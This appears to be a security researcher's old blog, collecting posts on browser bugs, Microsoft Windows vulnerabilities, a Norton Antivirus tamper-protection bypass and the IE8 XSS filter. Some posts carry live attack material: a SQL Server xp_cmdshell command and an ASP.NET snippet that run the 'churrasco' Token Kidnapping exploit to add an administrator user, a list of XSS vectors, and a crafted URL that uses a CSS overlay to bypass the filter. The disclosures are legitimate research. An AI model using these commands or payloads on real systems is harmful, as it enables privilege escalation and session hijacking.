Information security sucks (Part I)

This will be a series of short blog posts describing why I think information security sucks.

Security software sucks:
There are security software for any security need (or not), most of these software are not mature enough, they are plagued by security vulnerabilities and they can barely provide all the vendor claimed functionality. Most vendors invest more on marketing than in making the products more secure. If you think about this, for a business standpoint makes sense, since security is a feeling that companies are eager to get and with good marketing vendors can provide the heroin needed by companies. You buy X software and you think you are protected and the chances that the software X will be blamed for a compromise are really low. In case there is a compromise and you were using X software vendor won’t be liable and one less customer won’t affect vendor reputation, there will be always more customers in the pipeline. So vendors can build some crappy software, roll out some cool marketing campaign and star selling the software, when they get enough customers maybe they will start adding the marketing promised functionality, but not security, this is something that vendors “provide” but not care about.

Basically we are protecting our assets with insecure software.

Most people know that security software have vulnerabilities, every day there is a new vulnerability in an antivirus product, etc. But let’s talk about appliances, some people say that nowadays perimeters are secure that most compromises are because of client side exploits, etc. Networks and servers (email, database, web, etc.) are protected by costly appliances, we are talking about $25k, $50k and more depending on company size, the product itself, etc. If an attacker wants to get in a network protected by X appliance he only needs to get one and find the vulnerabilities, that’s it. The problem for a regular attacker is how to get the appliance because the costs and logistics, but government agencies, criminal organizations, etc. can get them and hack them. All those networks and servers using these appliances are just protected against poor hackers.

I challenge all security vendors to expose their appliances for a security community testing if they think they are secure and they are providing real protection to their customers. Who will be the first to stand out?

Google Chrome Drag and Drop fun

You must be browsing this page with Google Chrome, if so, open any website (www.google.com will work fine) in another tab and then drag the Windows 3.1 image (below) and drop it over the other website tab, you should get Windows 3.1 running there (Iframe). You can also inject Microsoft web site doing the same with the other image.







With Google Chrome any code can be injected from a website to another website by drag and drop. This feature is not available in Firefox, Internet Explorer and Safari.

I wonder if this can be abused in some way?

Blogger allows to run arbitrary Javascript

I guess this is a known issue since it's so simple to do it, anyways I think people should be aware of this.
Editing a blog post I realized that Blogger allows to run arbitrary Javascript in the blogs, this is good and bad. It's good because you can post demo code and run it, track users, modify the web pages at will, etc. But it's bad because it can be used as a malware distributing system, to steal information from blog visitors, to exploit browser vulnerabilities, etc.

Naif demo: Click here

BTW: It's not possible to steal Blogger cookies if you are logged since Blogger cookies are used only on Blogger.com and not on *.blogspot.com.

Little bug in Safari and Google Chrome

I guess a bug in Safari it's not a surprise at all but Google Chrome seems to be a more secure product. Anyways this little bug is not big deal but maybe combined with other bug it could be more dangerous.

<link rel="stylesheet" type="text/css" href="http://www.yahoo.com">
Hola
<script language="javascript">
setTimeout("alert(document.styleSheets[0].href)", 10000);
//setTimeout is used just to wait for page loading
</script>


The code above should display the same href value as in the LINK tag but it displays the final URL if there is a redirection, here in my country when you browse to http://www.yahoo.com/ you get redirected to http://ar.yahoo.com/?p=us so the above code displays this last URL.

Why this is an issue?
-There are some websites that put user session ids on the URL querystrings the same for tokens used for CSRF protection, if an attacker can get a user browsing his website then he can use the above code to reference a URL of a website the user is logged on that will be redirected to another URL that could have a session id or token in the querystring and then use this information for more dangerous attacks. Some websites could also have in the querystring some other useful information that could be used for further attacks. Websites putting session ids, tokens, etc. in querystings are already not secure but this issue helps in exploiting them.

-An attacker can also use this issue to determine if a user is logged in or not by comparing if the original URL is the same as the final one when trying to access a feature thar requires to be logged in.

-Maybe there are other possible ways of abusing this issue that I'm not aware right now.

Microsoft Internet Explorer and Mozilla Firefox are not vulnerable to this.

Enjoy.

8 years hacking Microsoft stuff, +50 vulnerabilities found

2009 is ending and I thought it would be nice to write down my personal record on Microsoft vulnerabilities. I started finding vulns in MS products in 2002 and these are most of them:

-Microsoft Biztalk Server ISAPI HTTP Receive function buffer overflow
-Microsoft Biztalk Server DTA vulnerable to SQL injection
http://www.microsoft.com/technet/security/bulletin/ms03-016.mspx

-Microsoft Commerce Server 2002 Weak Registry Key Permissions Weakness
http://archives.neohapsis.com/archives/fulldisclosure/2003-q3/0034.html

-Microsoft Active Server Pages Cookie Retrieval Issue
http://www.appsecinc.com/resources/alerts/general/05-0001.shtml

-Microsoft Windows LPC heap overflow
http://www.microsoft.com/technet/security/bulletin/MS04-044.mspx
http://www.appsecinc.com/resources/alerts/general/07-0001.shtml

-Microsoft Windows Utility Manager Local Elevation of Privileges
http://www.microsoft.com/technet/security/bulletin/MS04-019.mspx
http://marc.info/?l=bugtraq&m=108975382413405&w=2
http://www.milw0rm.com/exploits/350

-Microsoft Windows Utility Manager Local Elevation of Privileges II
http://www.microsoft.com/technet/security/bulletin/ms04-011.mspx
http://www.appsecinc.com/resources/alerts/general/04-0001.shtml
http://www.milw0rm.com/exploits/271

-Microsoft Windows Improper Token Validation
http://www.appsecinc.com/resources/alerts/general/06-0001.shtml
http://www.microsoft.com/technet/security/bulletin/MS04-044.mspx
http://www.milw0rm.com/exploits/749

-Microsoft Windows GDI Kernel Local Privilege Escalation Vulnerability
http://www.microsoft.com/technet/security/Bulletin/MS07-017.mspx
http://www.argeniss.com/research/ARGENISS-ADV-110604.txt
http://www.argeniss.com/research/GDIKernelPoC.c

-Microsoft MSDTC COM+ Remote Code Execution Vulnerability
http://www.microsoft.com/technet/security/Bulletin/MS05-051.mspx

-Microsoft Windows 2000 TroubleShooter ActiveX Control Buffer Overflow Vulnerability
http://www.microsoft.com/technet/security/bulletin/ms03-042.mspx
http://marc.info/?l=ntbugtraq&m=106632192709608&w=2

-Microsoft Windows COM Structured Storage Local Privilege Escalation Vulnerability
http://www.microsoft.com/technet/security/bulletin/MS05-012.mspx
http://www.argeniss.com/research/hackwininter.zip
http://www.argeniss.com/research/WLSI.zip

-Microsoft Windows Thread Pool ACL Local Privilege Escalation Vulnerability
-Microsoft Windows RPCSS Service Isolation Local Privilege Escalation Vulnerability
-Microsoft Windows MSDTC Service Isolation Vulnerability
-Microsoft Windows WMI Service Isolation Local Privilege Escalation Vulnerability
http://www.microsoft.com/technet/security/bulletin/MS09-012.mspx
http://www.argeniss.com/research/TokenKidnapping.pdf
http://www.argeniss.com/research/Churrasco.zip
http://www.argeniss.com/research/Churrasco2.zip

-Microsoft Windows Shell Could Allow Remote Code Execution (2 vulns)
http://www.argeniss.com/research/MSBugPaper.pdf
http://www.microsoft.com/technet/security/Bulletin/MS05-049.mspx

-Microsoft SQL Server Heterogenous Queries Buffer Overflow
http://www.appsecinc.com/resources/alerts/mssql/02-0008.shtml
http://www.microsoft.com/technet/security/Bulletin/MS02-007.mspx

-Microsoft SQL Server xp_dirtree Buffer Overflow
http://www.appsecinc.com/resources/alerts/mssql/02-0007.shtml
http://www.microsoft.com/technet/security/Bulletin/MS02-020.mspx

-Microsoft SQL Server Buffer Overflows in numerous extended stored procedures (17 vulns)
http://www.appsecinc.com/resources/alerts/mssql/02-0000.shtml
http://www.microsoft.com/technet/security/Bulletin/MS02-020.mspx

-Microsoft SQL Server encoded password written by service pack
http://www.appsecinc.com/resources/alerts/mssql/02-0009.shtml
http://www.microsoft.com/technet/security/Bulletin/MS02-035.mspx

-Microsoft SQL Server BULK INSERT buffer overflow
http://www.microsoft.com/technet/security/bulletin/MS02-034.asp
http://www.appsecinc.com/resources/alerts/mssql/02-0010.shtml

-Microsoft SQL Server multiple buffer overflows in DBCC and SQL Injections (6 vulns)
http://www.appsecinc.com/resources/alerts/mssql/02-0011.shtml
http://www.microsoft.com/technet/security/Bulletin/MS02-038.mspx

-Microsoft SQL Server multiple vulnerabilities (5 vulns)
http://www.blackhat.com/presentations/win-usa-03/bh-win-03-cerrudo/bh-win-03-cerrudo.pdf

--------0--------

If you count them, they are 50 vulnerabilities in total, 14 are Microsoft Windows specific. Actually the real count should be +50, few not mentioned vulnerabilities were patched in service packs, new versions, not acknoledged by MS as vulnerabilities, etc.
Of course I'm not mentioning there the 0days I have, with them the count is >50, reaching 20 specific to MS Windows.

Microsoft should give me a prize someday ;)

Token Kidnapping's Revenge

Finally I got some free time to take a look at Windows for security issues, I was initialy amazed with Windows 7 and Windows 2008 R2 they looked really solid but after some time I started to find some issues.
These issues are not really dangerous (depending on the scenario) but allow to continue exploiting Windows using a new attack vector to perform Token Kidnapping (http://www.argeniss.com/research/TokenKidnapping.pdf) .
Don't get me wrong MS properly fixed the issues (http://www.microsoft.com/technet/security/bulletin/MS09-012.mspx) detailed in Token Kidnapping presentation but they didn't find/fix all the attack vectors.
With this new attack vector it's still possible to elevate privileges to Local System account from almost any process that has impersonation rights bypassing new Windows services protections such as Per service SID, Write restricted token, etc
Probably I will be presenting the findings at Hackers to Hackers Conference in Brazil (http://www.h2hc.com.br/) in a couple of weeks.

Opening Intranets to attacks by using Internet Explorer

I just released a whitepaper titled: Opening Intranets to attacks by using Internet Explorer, I hope you find it interesting, you can find it here http://www.argeniss.com/research/HackingIntranets.pdf


Enjoy.

Antivirus, antivirus, antivirus...

My last post was about a bug in an antivirus product, not big deal, all software has bugs.
I was kindly pointed to this article http://isc.sans.org/diary.html?storyid=6010 by Ryan Naraine, it's about an incident were one of my token kidnapping exploits was used, it's a weird feeling to know that some tool of yours was used in an attack but in the end it's not about the tools it's about the user, the intention, etc. anyways, what really surprized me was that no antivirus is detecting the exploits!!! we all know that antivirus suck but not being able to detect a very old exploit with signature analysis that really sucks.

Bypassing Norton Antivirus "Product Tamper Protection"

What's Norton Product Tamper Protection? It's a security setting on Norton Antivirus that "Lets you protect your Norton product from an attack or modification by unknown, suspicious, or threatening applications", the option is enabled by default. Basically it protects NAV processes so other processes can't access them (debug, inject code, modify thread execution, etc.), it doesn't matter that current user has permission on them he won't be able to access Norton Antivirus processes.

Without doing much research I guess NAV intercepts Native API calls and return access denied when trying to open a NAV process or thread with dangerous access options. The problem is that NAV forgot to also protect other process objects such as shared sections, LPC ports, etc., so an attacker can put code in a shared section and then make the process jump to the injected code, lets see how to do it.

Injecting and running code on NAV GUI process:
When pressing F1 or accessing NAV GUI help, Windows HTML Help is loaded, NAV GUI process uses HTML Help ActiveX so no new process is created. When the HTML Help is loaded a shared section named \BaseNamedObjects\DfSharedHeapXXXXXX (where XXXXXX are hex numbers) is created, this particular shared section is related with a vulnerability I found long time ago (http://www.argeniss.com/research/SSExploit.c) where besides the shared section being created on user process it was also created in a privileged process under certain circumstances, this shared section has pointers saved so it was possible to overwrite them and make the process to execute arbitrary code elevating privileges (http://www.argeniss.com/research/hackwininter.zip). Microsoft fixed this issue (http://www.microsoft.com/technet/security/bulletin/MS05-012.mspx) by avoiding the creation of the shared section on privileged processes, so there isn't elevation of privileges anymore but you still can overwrite the data in the shared section of course you will only be able to execute code in a process you already own, but in this case this issue can be used to bypass NAV process protection since you will be able to modify NAV GUI process and run arbitrary code inside it.

This is not big deal but it shows that sometimes some protections are useless when they are not properly audited and a simple and known issue can be used to bypass them.

Enjoy.

Token Kidnapping Windows 2008 PoC exploit

Now it's time for Windows 2008 exploit (it should work on Windows 2003 too)
You will see that the super secure IIS 7 can be owned, too weak by default :)

You can find the PoC exploit here http://www.argeniss.com/research/Churrasco2.zip
Enjoy.

Token Kidnapping Windows 2003 PoC exploit

It has been a long time since Token Kidnapping presentation (http://www.argeniss.com/research/TokenKidnapping.pdf) was published so I decided to release a PoC exploit for Win2k3 that alows to execute code under SYSTEM account.

Basically if you can run code under any service in Win2k3 then you can own Windows, this is because Windows services accounts can impersonate.
Other process (not services) that can impersonate are IIS 6 worker processes so if you can run code from an ASP .NET or classic ASP web application then you can own Windows too. If you provide shared hosting services then I would recomend to not allow users to run this kind of code from ASP.


-SQL Server is a nice target for the exploit if you are a DBA and want to own Windows:

exec xp_cmdshell 'churrasco "net user /add hacker"'


-Exploiting IIS 6 with ASP .NET :
...
System.Diagnostics.Process myP = new System.Diagnostics.Process();
myP.StartInfo.RedirectStandardOutput = true;
myP.StartInfo.FileName=Server.MapPath("churrasco.exe");
myP.StartInfo.UseShellExecute = false;
myP.StartInfo.Arguments= " \"net user /add hacker\" ";
myP.Start();
string output = myP.StandardOutput.ReadToEnd();
Response.Write(output);
...


You can find the PoC exploit here http://www.argeniss.com/research/Churrasco.zip

Enjoy.

Something that's gone, it's not "really" gone (II)

It seems I haven't been very clear in my previous post.

I was wrong at saying that: "Actually those kind of URLs (javascript: and vbscript:) continue executing normally when you load the web page in a new tab, new window, in a Frame and in an IFrame." What I was trying to say is that Script URLs can still be used to exploit XSS(that's why I listed those XSS strings) when you load the web page in a new tab, new window, in a Frame and in an IFrame. What I missed is that in fact MS did some changes (and a great job) to prevent exploitation of some vulnerabilities such as http://raffon.net/research/ms/ie/crossdomain/string.html , this PoC doesn't work on IE7 and IE8 because Script URLs don't get executed in that context, this prevents some cross domain bugs or make them harder to exploit.

But Script URLs can still be used to exploit XSS, they weren't complete disabled/removed in IE7 and IE8, RSnake XSS cheat sheet http://ha.ckers.org/xss.html has to be updated :) and there is no XSS mitigation related to Script URLs (http://blogs.msdn.com/dross/archive/2008/03/10/xss-focused-attack-surface-reduction.aspx ) since they still work when exploiting XSS.

Alex was very kind to set up a PoC http://kuza55.awardspace.com/jsuri.html that's shows that you can still get script code executing by using Script URLs.

Thanks to David Ross comments pointing out scenarios were Script URLs are not executed.

Something that's gone, it's not "really" gone

If you look at RSnake XSS cheat sheet http://ha.ckers.org/xss.html you will notice that the following:

<IMG SRC="javascript:alert('XSS')"
<IMG SRC=javascript:alert(&quot;XSS1&quot;)>
<IMG SRC=`javascript:alert("XSS")`>
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83,88))>
<IMG SRC="jav ascript:alert('XSS');">
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<BODY BACKGROUND="javascript:alert('XSS')">

and many other XSS strings listed on the cheat sheet are not working on IE7, ie: you won't get javascript code executed, in fact MS says that they disabled javascript: and vbscript: URLs from some contexts (http://blogs.msdn.com/dross/archive/2008/03/10/xss-focused-attack-surface-reduction.aspx)

If you build an HTML page with the above XSS strings you will find out that the script code doesn't get executed when the HTML page is opened with IE7 but it's only true in some basic scenarios. Actually those kind of URLs (javascript: and vbscript:) continue executing normally when you load the web page in a new tab, new window, in a Frame and in an IFrame.

Doing a quick reverse engineering it can be seen that when a web page is loaded in a Frame, IFrame, new window or new tab the execution path is a bit different in IE than when you simple load a HTML page. Basically it seems MS forgot to patch some code paths in this case (not the first time, http://www.argeniss.com/research/MSBugPaper.pdf) so you get a different behaviour in different scenarios. I wonder if other stuff could be bypassed in this way, who knows, it's needed more time to look deeper.

Btw, The same happens in IE8 beta2.

This is not big deal nor a security vulnerability but it shows how difficult could be to completely disable/remove functionality in a complex application such as Microsoft Internet Explorer

IE8 XSS filter

Since IE8 beta2 is out I downloaded and installed it, I wanted to take a look at the brand new XSS filter (See here*1). Basically I wanted to see how good it's at filtering XSS, I tried some tricks and it seems to work fine filtering all known XSS attack vectors, etc. So far very good work of MS people.

After continuing testing the XSS filter I got a bit disappointed.

When exploiting reflected XSS it's needed user interaction, the target user has to browse to a URL, it could be attacker's site that will load a hidden HTML IFrame exploiting the XSS issue without the target user noticing it or the URL could be directly crafted with the XSS attack for the tartget site, both scenarios require user interaction, I call this 1 stage XSS attack since the attack takes place just after the user browses to the URL. This scenario seems to be perfectly handled and filtered by IE8 XSS filter.

What about a 2 stage XSS attack?
A 2 stage XSS attack is when the user has to browse to a second URL after browing the initial URL for the XSS attack to take place, people may think that this attack is compliated and not reliable but it's simple and very realiable and has almost the same success rate as 1 stage XSS attack since people want to get what they were looking when browsing to the first URL they will continue browsing most of the time.

Let's see an example: the target user is supplied with a URL by the attacker, the user browses to this URL and instead of directly exploiting XSS to run code it will be exploited injecting HTML code (no script code no IE8 XSS filtering) to modify the HTML web page adding a link in a way that will persuade the user to click to continue to get what the target user (victim) wanted to get when he first browsed to the URL, after the user clicks a new URL will be opened by IE and this time the XSS attack will take place running code and take over the user session, etc.

You are wondering why a 2 stage XSS attack? well, simple because IE8 XSS filter doesn't filter XSS attacks when browsing from the same site (See here*2). That's it.

Sample:

The following URL won't be filtered by IE8:
http://somesite/test.asp?param=<a href="test.asp?param=<sc%0aript>alert('owned')</script>"><div style="position: absolute; left: 0px; top: 0px; height: 1000px; width: 1000px; padding: 1em;background:black;text-align: center;">click to continue</div></a>

After browsing the above URL and clicking on the web page the following URL will be loaded:
http://somesite/test.asp?param=<script>alert('owned')</script>

because the navigation comes from same domain IE8 won't filter the XSS attack.

Talking about this with kuza55 (http://kuza55.blogspot.com/) he found this same stuff independently and he had the good idea of using CSS overlays (http://www.sirdarckcat.net/asdfg.html) to trick the user into clicking the link.

Conclusion: Currently IE8 XSS filter doesn't provide much more security. IE8 XSS filter should also filter 2 stage XSS attacks. Luckily IE8 is just in beta, it's a long way for the final release version, I'm sure MS will improve it.